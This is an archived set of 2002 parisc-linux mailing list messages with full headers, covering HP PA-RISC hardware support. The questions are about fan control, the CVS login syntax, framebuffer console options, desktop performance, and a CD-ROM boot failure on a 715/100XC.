List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14148

Jbit wrote:
...
> Since, if it was purley for fan control, it would be done in hardware,
> wouldn't it?

Caveat: I'm a SW engineer and this is from memory.

The fan speed is *generally* controlled by HW with PDC just setting
the "ramp" in HW registers. Some servers might "expose" the
temperature reading. I doubt the 712 does.

grant



From - Thu Nov 08 21:21:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000
Date: Sat, 23 Feb 2002 01:11:22 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020223081122.85CF1482C@dsl2.external.hp.com>
References: <20020223013935.D3685-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621098 3805 80.91.229.3 (22 Nov 2014 01:51:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Yasholomew Yashinski <yashy@mail.yashy.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 23 01:11:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 85CF1482C; Sat, 23 Feb 2002 01:11:22 -0700 (MST)
In-Reply-To: Message from Yasholomew Yashinski <yashy@mail.yashy.com> 
   of "Sat, 23 Feb 2002 01:50:17 EST." <20020223013935.D3685-100000@mail.yashy.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14149

Yasholomew Yashinski wrote:
...
> ~$ cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs/ login

Paul Bame said to drop the trailing slash.
I see, the "Build the Kernel" web page has the error:
	http://www.parisc-linux.org/kernel/index.html

I'll see if I can fix that.

grant



From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000
Date: Sat, 23 Feb 2002 10:26:28 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200202231026.28084.deller@gmx.de>
References: <20020223013935.D3685-100000@mail.yashy.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621098 3808 80.91.229.3 (22 Nov 2014 01:51:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:38 +0000 (UTC)
To: Yasholomew Yashinski <yashy@mail.yashy.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 23 02:31:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id D2EDD482E
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 02:31:08 -0700 (MST)
Original-Received: (qmail 17745 invoked by uid 0); 23 Feb 2002 09:31:07 -0000
Original-Received: from pd904035f.dip.t-dialin.net (HELO P100) (217.4.3.95)
  by mail.gmx.net (mp005-rz3) with SMTP; 23 Feb 2002 09:31:07 -0000
X-Mailer: KMail [version 1.3.99]
In-Reply-To: <20020223013935.D3685-100000@mail.yashy.com>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14150

On Saturday 23 February 2002 07:50, Yasholomew Yashinski wrote:
> How do I switch from stifb to sticon (I just apt-get'd xfree86)?

stifb supersedes sticon and you won't be able to run X11 on sticon -
so stifb is what you want and if you see TUX at bootup your
kernel stifb driver is active.

In your .config you'll find:		for:
CONFIG_FB_STI=y			-> stifb
CONFIG_FBCON_STI=y		-> stifb
CONFIG_STI_CONSOLE=y	-> sticon
Leave all enabled and you will get the best graphics support which
we currently support on your system.

>  I'd just like to confirm:
> eth0: Setting half-duplex based on MII#1 link partner capability of 0021.
>  is correct?

It's OK, you are just connected to a hulf-duplex partner.

Helge



From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems running KDE on PARISC
Date: Sat, 23 Feb 2002 14:00:10 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <OE64YhE1E29R5JuhXtw00004f1a@hotmail.com>
References: <005e01c1bbc6$cb52bb40$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621098 3811 80.91.229.3 (22 Nov 2014 01:51:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:38 +0000 (UTC)
To: "James S" <smith-james@home.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 23 06:02:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe64.law4.hotmail.com [216.33.148.160])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4EF224830
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 06:02:37 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sat, 23 Feb 2002 05:02:35 -0800
X-Originating-IP: [213.224.83.78]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 23 Feb 2002 13:02:35.0869 (UTC) FILETIME=[5D2A40D0:01C1BC6A]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14151

If you think WindowMaker is fast and configurable ... try BlackBox ;)
----- Original Message -----
From: "James S" <smith-james@home.com>
To: <parisc-linux@lists.parisc-linux.org>
Sent: Friday, February 22, 2002 6:31 PM
Subject: Fw: [parisc-linux] Problems running KDE on PARISC


>
> ----- Original Message -----
> From: "James S" <smith-james@home.com>
> To: "Thomas Schmid" <Thomas.Schmid@ascom.ch>
> Sent: Friday, February 22, 2002 10:31 AM
> Subject: Re: [parisc-linux] Problems running KDE on PARISC
>
>
> > > Generally speaking KDE is slow on these machines, but
> > > when I log in from KDM, it takes on _both_ machines about
> > > 4..5 minutes to go from KDM login screen to KDE window
> > > manager.
> > >
> >
> > i was running kde as well, but found the wait time for applications to
> start
> > too long, so i switched to windowmaker - very configurable & much
quicker
> to
> > load, but it also keeps the ability to run gnome & kde apps.
> >
> > just my ha'pennys worth...
> >
> > James S
> >
> >
> >
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <bsd@bsdman.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Video Card for D350
Date: Sat, 23 Feb 2002 03:13:05 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0202230311330.10017-100000@wilson.bsdman.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621099 3814 80.91.229.3 (22 Nov 2014 01:51:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 23 06:11:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from wilson.bsdman.org (dsl254-112-235.nyc1.dsl.speakeasy.net [216.254.112.235])
	by dsl2.external.hp.com (Postfix) with ESMTP id 988DA4839
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 06:11:31 -0700 (MST)
Original-Received: from bsd (helo=localhost)
	by wilson.bsdman.org with local-esmtp (Exim 3.34 #1 (Debian))
	id 16eXIn-0002c8-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 03:13:05 -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14152


Hello List, 


	I have an HP D350 that I would like to find a video card
for..  Anyone know what kind of video card this beast will take and where
I might find one? I attempted ebay but since I really don't know the name
of what im looking for it was a dead end. 




Thanks!



-Brian
bsd@bsdman.org




From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nsc <nsc@connectednet.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem installing 0.9.3 on 715/100XC
Date: Sat, 23 Feb 2002 13:52:10 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <200202231352.NAA04205@liberator.zorg.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621099 3816 80.91.229.3 (22 Nov 2014 01:51:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 23 06:52:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhenium.btinternet.com (rhenium.btinternet.com [194.73.73.93])
	by dsl2.external.hp.com (Postfix) with ESMTP id 918544831
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 06:52:11 -0700 (MST)
Original-Received: from host217-34-78-1.in-addr.btopenworld.com ([217.34.78.1] helo=liberator.zorg.org)
	by rhenium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16ecav-0006nr-00
	for parisc-linux@lists.parisc-linux.org; Sat, 23 Feb 2002 13:52:09 +0000
Original-Received: from there (hal [192.168.0.42])
	by liberator.zorg.org (8.9.3/8.8.7) with SMTP id NAA04205
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 13:52:09 GMT
X-Mailer: KMail [version 1.3.1]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14153

Hi guys, I'm trying to install 0.9.3 on a 715/100XC and have run into a 
problem.

'sea scsi' shows I have:

scsi.6.0	SEAGATE ST32151N
scsi.2.0	TOSHIBA CD-ROM XM-3701TA

'sea ipl' shows the CD-ROM

So I issue 'boot scsi.2.0 ipl' and the get the following:

Attempting to boot.
Loading Initial Program Loader
ERROR: Cannot load IPL, error detected
Boot process failed. press <ESCAPE> to Continue

md5sums on the iso image check out and I've burned a couple of cd's just in 
case the first was dodgy.
The Toshiba CD-ROM is known to work and boots my SGI Indy just fine.

This machine has BootRom Version 1.1, could this be causing a problem?

Where do I go from here?

Thanks for any help,
Nathan.



From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem installing 0.9.3 on 715/100XC
Date: Sat, 23 Feb 2002 14:58:40 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20020223135840.GG25954@charite.de>
References: <200202231352.NAA04205@liberator.zorg.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621099 3819 80.91.229.3 (22 Nov 2014 01:51:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: nsc <nsc@connectednet.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 23 06:58:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5B054840
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 06:58:42 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id D60E615C015; Sat, 23 Feb 2002 14:58:41 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id 88A5615C010; Sat, 23 Feb 2002 14:58:41 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 3FEB315C016; Sat, 23 Feb 2002 14:58:41 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id EAF31633A8; Sat, 23 Feb 2002 14:58:40 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <200202231352.NAA04205@liberator.zorg.org>
User-Agent: Mutt/1.3.25i
X-Virus-Scanned: by AMaViS snapshot-20020109
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14154

On Sat, Feb 23, 2002 at 01:52:10PM +0000, nsc wrote:

> 'sea ipl' shows the CD-ROM
> 
> So I issue 'boot scsi.2.0 ipl' and the get the following:

For mee "boot scsi.2.0" was sufficient.

> This machine has BootRom Version 1.1, could this be causing a problem?

You could try updating the BootRom via bootp/tftp, but booting from
CDROM is something even the buggiest rom MUST handle.

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
(S)he's off round the building trying to find who has tured off which router, or have they just unplugged our link to the outside world. --Ian (God they both happened in one week) Dobbie ian@muscle.kcl.ac.uk




From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nsc <nsc@connectednet.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem installing 0.9.3 on 715/100XC
Date: Sat, 23 Feb 2002 14:14:50 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <200202231414.OAA04306@liberator.zorg.org>
References: <200202231352.NAA04205@liberator.zorg.org> <20020223135840.GG25954@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621100 3821 80.91.229.3 (22 Nov 2014 01:51:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 23 07:14:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from protactinium.btinternet.com (protactinium.btinternet.com [194.73.73.176])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FB584832
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 07:14:50 -0700 (MST)
Original-Received: from host217-34-78-1.in-addr.btopenworld.com ([217.34.78.1] helo=liberator.zorg.org)
	by protactinium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16ecwq-0003XO-00
	for parisc-linux@lists.parisc-linux.org; Sat, 23 Feb 2002 14:14:48 +0000
Original-Received: from there (hal [192.168.0.42])
	by liberator.zorg.org (8.9.3/8.8.7) with SMTP id OAA04306
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 14:14:48 GMT
X-Mailer: KMail [version 1.3.1]
In-Reply-To: <20020223135840.GG25954@charite.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14155

On Saturday 23 Feb 2002 1:58 pm, Ralf Hildebrandt wrote:

> > So I issue 'boot scsi.2.0 ipl' and the get the following:
>
> For mee "boot scsi.2.0" was sufficient.
>

Same result but with a "graphical display" instead of text only.

As I understand it adding the ipl to the boot command just means you get the 
text interface.

Thanks,
Nathan.




From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: nsc <nsc@connectednet.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: [parisc-linux] Problem installing 0.9.3 on 715/100XC
Date: Sat, 23 Feb 2002 17:11:43 +0000
Lines: 51
Approved: news@gmane.org
Message-ID: <200202231711.RAA04809@liberator.zorg.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621100 3824 80.91.229.3 (22 Nov 2014 01:51:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 23 10:11:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gadolinium.btinternet.com (gadolinium.btinternet.com [194.73.73.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F6614836
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 10:11:45 -0700 (MST)
Original-Received: from host217-34-78-1.in-addr.btopenworld.com ([217.34.78.1] helo=liberator.zorg.org)
	by gadolinium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16efi1-0003Q3-00
	for parisc-linux@lists.parisc-linux.org; Sat, 23 Feb 2002 17:11:41 +0000
Original-Received: from there (hal [192.168.0.42])
	by liberator.zorg.org (8.9.3/8.8.7) with SMTP id RAA04809
	for <parisc-linux@lists.parisc-linux.org>; Sat, 23 Feb 2002 17:11:41 GMT
X-Mailer: KMail [version 1.3.1]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14156

Turns out this was a problem with the CD-ROM after all. I pulled a Philips 
CDRW drive out of another machine and installed it internally and all is 
working now :-)

Cheers,
Nathan.


----------  Forwarded Message  ----------

Subject: [parisc-linux] Problem installing 0.9.3 on 715/100XC
Date: Sat, 23 Feb 2002 13:52:10 +0000
From: nsc <nsc@connectednet.co.uk>
To: parisc-linux@lists.parisc-linux.org

Hi guys, I'm trying to install 0.9.3 on a 715/100XC and have run into a
problem.

'sea scsi' shows I have:

scsi.6.0	SEAGATE ST32151N
scsi.2.0	TOSHIBA CD-ROM XM-3701TA

'sea ipl' shows the CD-ROM

So I issue 'boot scsi.2.0 ipl' and the get the following:

Attempting to boot.
Loading Initial Program Loader
ERROR: Cannot load IPL, error detected
Boot process failed. press <ESCAPE> to Continue

md5sums on the iso image check out and I've burned a couple of cd's just in
case the first was dodgy.
The Toshiba CD-ROM is known to work and boots my SGI Indy just fine.

This machine has BootRom Version 1.1, could this be causing a problem?

Where do I go from here?

Thanks for any help,
Nathan.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-------------------------------------------------------



From - Thu Nov 08 21:21:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem installing 0.9.3 on 715/100XC
Date: Sun, 24 Feb 2002 00:16:43 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20020224071643.6D6EE482D@dsl2.external.hp.com>
References: <200202231352.NAA04205@liberator.zorg.org>  <20020223135840.GG25954@charite.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621100 3827 80.91.229.3 (22 Nov 2014 01:51:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:40 +0000 (UTC)
Cc: nsc <nsc@connectednet.co.uk>, parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 24 00:16:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6D6EE482D; Sun, 24 Feb 2002 00:16:43 -0700 (MST)
In-Reply-To: Message from Ralf Hildebrandt <Ralf.Hildebrandt@charite.de> 
   of "Sat, 23 Feb 2002 14:58:40 +0100." <20020223135840.GG25954@charite.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
